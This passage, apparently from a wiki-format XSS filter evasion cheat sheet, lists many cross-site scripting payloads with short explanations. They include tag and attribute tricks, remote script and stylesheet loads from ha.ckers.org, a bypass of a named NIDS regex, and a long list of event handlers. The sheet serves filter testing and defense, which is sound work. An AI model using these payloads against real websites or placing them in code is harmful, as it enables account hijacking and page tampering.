For example &amp;quot;&amp;lt;SCRIPT\s&amp;quot; != &amp;quot;&amp;lt;SCRIPT/XSS\s&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT/XSS SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&amp;quot;XSS&amp;quot;)&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT/SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Extraneous open brackets ==&lt;br /&gt;
Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:&lt;br /&gt;
 &amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== No closing script tags ==&lt;br /&gt;
In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the &amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;quot; portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt; B &amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Protocol resolution in script tags ==&lt;br /&gt;
This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a &amp;lt;/SCRIPT&amp;gt; tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The &amp;quot;.j&amp;quot; is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.&lt;br /&gt;
 &lt;br /&gt;
 &amp;amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Half open HTML/JavaScript XSS vector ==&lt;br /&gt;
Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close &amp;quot;&amp;gt;&amp;quot; tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|&amp;lt;)[^\n]+((\%3E)|&amp;gt;)/ because it doesn't require the end &amp;quot;&amp;gt;&amp;quot;. As a side note, this was also affective against a real world XSS filter I came across using an open ended &amp;lt;IFRAME tag instead of an &amp;lt;IMG tag:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;javascript:alert('XSS')&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== Double open angle brackets ==&lt;br /&gt;
Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Escaping JavaScript escapes ==&lt;br /&gt;
When the application is written to output some user information inside of a JavaScript like the following: &amp;lt;SCRIPT&amp;gt;var a=&amp;quot;$ENV{QUERY_STRING}&amp;quot;;&amp;lt;/SCRIPT&amp;gt; and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this gets injected it will read &amp;lt;SCRIPT&amp;gt;var a=&amp;quot;\\&amp;quot;;alert('XSS');//&amp;quot;;&amp;lt;/SCRIPT&amp;gt; which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:&lt;br /&gt;
&lt;br /&gt;
 \&amp;quot;;alert('XSS');//&lt;br /&gt;
&lt;br /&gt;
An alternative, if correct JSON or Javascript escaping has been applied to the embedded data but not HTML encoding, is to finish the script block and start your own:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;alert('XSS');&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== End title tag ==&lt;br /&gt;
This is a simple XSS vector that closes &amp;lt;TITLE&amp;gt; tags, which can encapsulate the malicious cross site scripting attack:&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==INPUT image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;INPUT TYPE=&amp;quot;IMAGE&amp;quot; SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BODY image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BODY BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMG Dynsrc ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG DYNSRC=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMG lowsrc ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG LOWSRC=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== List-style-image ==&lt;br /&gt;
Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&amp;quot;javascript:alert('XSS')&amp;quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&amp;lt;/br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== VBscript in an image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC='vbscript:msgbox(&amp;quot;XSS&amp;quot;)'&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Livescript (older versions of Netscape only) ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;livescript:[code]&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BODY tag ==&lt;br /&gt;
Method doesn't require using any variants of &amp;quot;javascript:&amp;quot; or &amp;quot;&amp;lt;SCRIPT...&amp;quot; to accomplish the XSS attack). Dan Crowley additionally noted that you can put a space before the equals sign (&amp;quot;onload=&amp;quot; != &amp;quot;onload =&amp;quot;):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Event Handlers ==&lt;br /&gt;
&lt;br /&gt;
It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Thanks to Rene Ledosquet for the HTML+TIME updates.&lt;br /&gt;
&lt;br /&gt;
The [http://help.dottoro.com/ Dottoro Web Reference] also has a nice [http://help.dottoro.com/ljfvvdnm.php list of events in JavaScript].&lt;br /&gt;
&lt;br /&gt;
# &amp;lt;code&amp;gt;FSCommand()&amp;lt;/code&amp;gt; (attacker can use this when executed from within an embedded Flash object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onAbort()&amp;lt;/code&amp;gt; (when user aborts the loading of an image)&lt;br /&gt;
# &amp;lt;code&amp;gt;onActivate()&amp;lt;/code&amp;gt; (when object is set as the active element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onAfterPrint()&amp;lt;/code&amp;gt; (activates after user prints or previews print job)&lt;br /&gt;
# &amp;lt;code&amp;gt;onAfterUpdate()&amp;lt;/code&amp;gt; (activates on data object after updating data in the source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeActivate()&amp;lt;/code&amp;gt; (fires before the object is set as the active element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeCopy()&amp;lt;/code&amp;gt; (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the &amp;lt;code&amp;gt;execCommand(&amp;quot;Copy&amp;quot;)&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeCut()&amp;lt;/code&amp;gt; (attacker executes the attack string right before a selection is cut)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeDeactivate()&amp;lt;/code&amp;gt; (fires right after the activeElement is changed from the current object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeEditFocus()&amp;lt;/code&amp;gt; (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforePaste()&amp;lt;/code&amp;gt; (user needs to be tricked into pasting or be forced into it using the &amp;lt;code&amp;gt;execCommand(&amp;quot;Paste&amp;quot;)&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforePrint()&amp;lt;/code&amp;gt; (user would need to be tricked into printing or attacker could use the &amp;lt;code&amp;gt;print()&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;execCommand(&amp;quot;Print&amp;quot;)&amp;lt;/code&amp;gt; function).&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeUnload()&amp;lt;/code&amp;gt; (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeUpdate()&amp;lt;/code&amp;gt; (activates on data object before updating data in the source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBegin()&amp;lt;/code&amp;gt; (the onbegin event fires immediately when the element's timeline begins)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBlur()&amp;lt;/code&amp;gt; (in the case where another popup is loaded and window looses focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBounce()&amp;lt;/code&amp;gt; (fires when the behavior property of the marquee object is set to &amp;quot;alternate&amp;quot; and the contents of the marquee reach one side of the window)&lt;br /&gt;
# &amp;lt;code&amp;gt;onCellChange()&amp;lt;/code&amp;gt; (fires when data changes in the data provider)&lt;br /&gt;
# &amp;lt;code&amp;gt;onChange()&amp;lt;/code&amp;gt; (select, text, or TEXTAREA field loses focus and its value has been modified)&lt;br /&gt;
# &amp;lt;code&amp;gt;onClick()&amp;lt;/code&amp;gt; (someone clicks on a form)&lt;br /&gt;
# &amp;lt;code&amp;gt;onContextMenu()&amp;lt;/code&amp;gt; (user would need to right click on attack area)&lt;br /&gt;
# &amp;lt;code&amp;gt;onControlSelect()&amp;lt;/code&amp;gt; (fires when the user is about to make a control selection of the object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onCopy()&amp;lt;/code&amp;gt; (user needs to copy something or it can be exploited using the &amp;lt;code&amp;gt;execCommand(&amp;quot;Copy&amp;quot;)&amp;lt;/code&amp;gt; command)&lt;br /&gt;
# &amp;lt;code&amp;gt;onCut()&amp;lt;/code&amp;gt; (user needs to copy something or it can be exploited using the &amp;lt;code&amp;gt;execCommand(&amp;quot;Cut&amp;quot;)&amp;lt;/code&amp;gt; command)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDataAvailable()&amp;lt;/code&amp;gt; (user would need to change data in an element, or attacker could perform the same function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDataSetChanged()&amp;lt;/code&amp;gt; (fires when the data set exposed by a data source object changes)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDataSetComplete()&amp;lt;/code&amp;gt; (fires to indicate that all data is available from the data source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDblClick()&amp;lt;/code&amp;gt; (user double-clicks a form element or a link)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDeactivate()&amp;lt;/code&amp;gt; (fires when the activeElement is changed from the current object to another object in the parent document)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDrag()&amp;lt;/code&amp;gt; (requires that the user drags an object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragEnd()&amp;lt;/code&amp;gt; (requires that the user drags an object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragLeave()&amp;lt;/code&amp;gt; (requires that the user drags an object off a valid location)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragEnter()&amp;lt;/code&amp;gt; (requires that the user drags an object into a valid location)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragOver()&amp;lt;/code&amp;gt; (requires that the user drags an object into a valid location)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragDrop()&amp;lt;/code&amp;gt; (user drops an object (e.g. file) onto the browser window)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragStart()&amp;lt;/code&amp;gt; (occurs when user starts drag operation)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDrop()&amp;lt;/code&amp;gt; (user drops an object (e.g. file) onto the browser window)&lt;br /&gt;
# &amp;lt;code&amp;gt;onEnd()&amp;lt;/code&amp;gt; (the onEnd event fires when the timeline ends.    &lt;br /&gt;
# &amp;lt;code&amp;gt;onError()&amp;lt;/code&amp;gt; (loading of a document or image causes an error)&lt;br /&gt;
# &amp;lt;code&amp;gt;onErrorUpdate()&amp;lt;/code&amp;gt; (fires on a databound object when an error occurs while updating the associated data in the data source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFilterChange()&amp;lt;/code&amp;gt; (fires when a visual filter completes state change)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFinish()&amp;lt;/code&amp;gt; (attacker can create the exploit when marquee is finished looping)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFocus()&amp;lt;/code&amp;gt; (attacker executes the attack string when the window gets focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFocusIn()&amp;lt;/code&amp;gt; (attacker executes the attack string when window gets focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFocusOut()&amp;lt;/code&amp;gt; (attacker executes the attack string when window looses focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onHashChange()&amp;lt;/code&amp;gt; (fires when the fragment identifier part of the document's current address changed)&lt;br /&gt;
# &amp;lt;code&amp;gt;onHelp()&amp;lt;/code&amp;gt; (attacker executes the attack string when users hits F1 while the window is in focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onInput()&amp;lt;/code&amp;gt; (the text content of an element is changed through the user interface)&lt;br /&gt;
# &amp;lt;code&amp;gt;onKeyDown()&amp;lt;/code&amp;gt; (user depresses a key)&lt;br /&gt;
# &amp;lt;code&amp;gt;onKeyPress()&amp;lt;/code&amp;gt; (user presses or holds down a key)&lt;br /&gt;
# &amp;lt;code&amp;gt;onKeyUp()&amp;lt;/code&amp;gt; (user releases a key)&lt;br /&gt;
# &amp;lt;code&amp;gt;onLayoutComplete()&amp;lt;/code&amp;gt; (user would have to print or print preview)&lt;br /&gt;
# &amp;lt;code&amp;gt;onLoad()&amp;lt;/code&amp;gt; (attacker executes the attack string after the window loads)&lt;br /&gt;
# &amp;lt;code&amp;gt;onLoseCapture()&amp;lt;/code&amp;gt; (can be exploited by the &amp;lt;code&amp;gt;releaseCapture()&amp;lt;/code&amp;gt; method)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMediaComplete()&amp;lt;/code&amp;gt; (When a streaming media file is used, this event could fire before the file starts playing)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMediaError()&amp;lt;/code&amp;gt; (User opens a page in the browser that contains a media file, and the event fires when there is a problem)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMessage()&amp;lt;/code&amp;gt; (fire when the document received a message)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseDown()&amp;lt;/code&amp;gt; (the attacker would need to get the user to click on an image)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseEnter()&amp;lt;/code&amp;gt; (cursor moves over an object or area)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseLeave()&amp;lt;/code&amp;gt; (the attacker would need to get the user to mouse over an image or table and then off again)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseMove()&amp;lt;/code&amp;gt; (the attacker would need to get the user to mouse over an image or table)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseOut()&amp;lt;/code&amp;gt; (the attacker would need to get the user to mouse over an image or table and then off again)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseOver()&amp;lt;/code&amp;gt; (cursor moves over an object or area)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseUp()&amp;lt;/code&amp;gt; (the attacker would need to get the user to click on an image)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseWheel()&amp;lt;/code&amp;gt; (the attacker would need to get the user to use their mouse wheel)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMove()&amp;lt;/code&amp;gt; (user or attacker would move the page)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMoveEnd()&amp;lt;/code&amp;gt; (user or attacker would move the page)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMoveStart()&amp;lt;/code&amp;gt; (user or attacker would move the page)&lt;br /&gt;
# &amp;lt;code&amp;gt;onOffline()&amp;lt;/code&amp;gt; (occurs if the browser is working in online mode and it starts to work offline)&lt;br /&gt;
# &amp;lt;code&amp;gt;onOnline()&amp;lt;/code&amp;gt; (occurs if the browser is working in offline mode and it starts to work online)&lt;br /&gt;
# &amp;lt;code&amp;gt;onOutOfSync()&amp;lt;/code&amp;gt; (interrupt the element's ability to play its media as defined by the timeline)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPaste()&amp;lt;/code&amp;gt; (user would need to paste or attacker could use the &amp;lt;code&amp;gt;execCommand(&amp;quot;Paste&amp;quot;)&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPause()&amp;lt;/code&amp;gt; (the onpause event fires on every element that is active when the timeline pauses, including the body element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPopState()&amp;lt;/code&amp;gt; (fires when user navigated the session history)&lt;br /&gt;
# &amp;lt;code&amp;gt;onProgress()&amp;lt;/code&amp;gt; (attacker would use this as a flash movie was loading)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPropertyChange()&amp;lt;/code&amp;gt; (user or attacker would need to change an element property)&lt;br /&gt;
# &amp;lt;code&amp;gt;onReadyStateChange()&amp;lt;/code&amp;gt; (user or attacker would need to change an element property)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRedo()&amp;lt;/code&amp;gt; (user went forward in undo transaction history)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRepeat()&amp;lt;/code&amp;gt; (the event fires once for each repetition of the timeline, excluding the first full cycle)&lt;br /&gt;
# &amp;lt;code&amp;gt;onReset()&amp;lt;/code&amp;gt; (user or attacker resets a form)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResize()&amp;lt;/code&amp;gt; (user would resize the window; attacker could auto initialize with something like: &amp;lt;code&amp;gt;&amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResizeEnd()&amp;lt;/code&amp;gt; (user would resize the window; attacker could auto initialize with something like: &amp;lt;code&amp;gt;&amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResizeStart()&amp;lt;/code&amp;gt; (user would resize the window; attacker could auto initialize with something like: &amp;lt;code&amp;gt;&amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResume()&amp;lt;/code&amp;gt; (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onReverse()&amp;lt;/code&amp;gt; (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowsEnter()&amp;lt;/code&amp;gt; (user or attacker would need to change a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowExit()&amp;lt;/code&amp;gt; (user or attacker would need to change a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowDelete()&amp;lt;/code&amp;gt; (user or attacker would need to delete a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowInserted()&amp;lt;/code&amp;gt; (user or attacker would need to insert a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onScroll()&amp;lt;/code&amp;gt; (user would need to scroll, or attacker could use the &amp;lt;code&amp;gt;scrollBy()&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSeek()&amp;lt;/code&amp;gt; (the onreverse event fires when the timeline is set to play in any direction other than forward)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSelect()&amp;lt;/code&amp;gt; (user needs to select some text - attacker could auto initialize with something like: &amp;lt;code&amp;gt;window.document.execCommand(&amp;quot;SelectAll&amp;quot;);&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSelectionChange()&amp;lt;/code&amp;gt; (user needs to select some text - attacker could auto initialize with something like: &amp;lt;code&amp;gt;window.document.execCommand(&amp;quot;SelectAll&amp;quot;);&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSelectStart()&amp;lt;/code&amp;gt; (user needs to select some text - attacker could auto initialize with something like: &amp;lt;code&amp;gt;window.document.execCommand(&amp;quot;SelectAll&amp;quot;);&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onStart()&amp;lt;/code&amp;gt; (fires at the beginning of each marquee loop)&lt;br /&gt;
# &amp;lt;code&amp;gt;onStop()&amp;lt;/code&amp;gt; (user would need to press the stop button or leave the webpage)&lt;br /&gt;
# &amp;lt;code&amp;gt;onStorage()&amp;lt;/code&amp;gt; (storage area changed)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSyncRestored()&amp;lt;/code&amp;gt; (user interrupts the element's ability to play its media as defined by the timeline to fire)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSubmit()&amp;lt;/code&amp;gt; (requires attacker or user submits a form)&lt;br /&gt;
# &amp;lt;code&amp;gt;onTimeError()&amp;lt;/code&amp;gt; (user or attacker sets a time property, such as dur, to an invalid value)&lt;br /&gt;
# &amp;lt;code&amp;gt;onTrackChange()&amp;lt;/code&amp;gt; (user or attacker changes track in a playList)&lt;br /&gt;
# &amp;lt;code&amp;gt;onUndo()&amp;lt;/code&amp;gt; (user went backward in undo transaction history)&lt;br /&gt;
# &amp;lt;code&amp;gt;onUnload()&amp;lt;/code&amp;gt; (as the user clicks any link or presses the back button or attacker forces a click)&lt;br /&gt;
# &amp;lt;code&amp;gt;onURLFlip()&amp;lt;/code&amp;gt; (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)&lt;br /&gt;
# &amp;lt;code&amp;gt;seekSegmentTime()&amp;lt;/code&amp;gt; (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)&lt;br /&gt;
&lt;br /&gt;
== BGSOUND ==&lt;br /&gt;
 &amp;lt;BGSOUND SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== &amp;amp; JavaScript includes ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BR SIZE=&amp;quot;&amp;amp;{alert('XSS')}&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
== STYLE sheet ==&lt;br /&gt;
 &amp;lt;LINK REL=&amp;quot;stylesheet&amp;quot; HREF=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet ==&lt;br /&gt;
(using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;LINK REL=&amp;quot;stylesheet&amp;quot; HREF=&amp;quot;http://ha.ckers.org/xss.css&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet part 2 ==&lt;br /&gt;
This works the same as above, but uses a &amp;lt;STYLE&amp;gt; tag instead of a &amp;lt;LINK&amp;gt; tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end &amp;lt;/STYLE&amp;gt; tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet part 3 ==&lt;br /&gt;
This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: &amp;lt;nowiki&amp;gt;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet)&amp;lt;/nowiki&amp;gt; and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;Link&amp;quot; Content=&amp;quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet part 4 ==&lt;br /&gt;
This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&amp;quot;http://ha.ckers.org/xssmoz.xml#xss&amp;quot;)}&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tags with broken up JavaScript for XSS ==&lt;br /&gt;
This XSS at times sends IE into an infinite loop of alerts:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&amp;quot;XSS&amp;quot;)';&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE attribute using a comment to break up expression ==&lt;br /&gt;
Created by Roman Ivanov &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG STYLE=&amp;quot;xss:expr/*XSS*/ession(alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMG STYLE with expression ==&lt;br /&gt;
This is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;exp/*&amp;lt;A STYLE='no\xss:noxss(&amp;quot;*//*&amp;quot;);&lt;br /&gt;
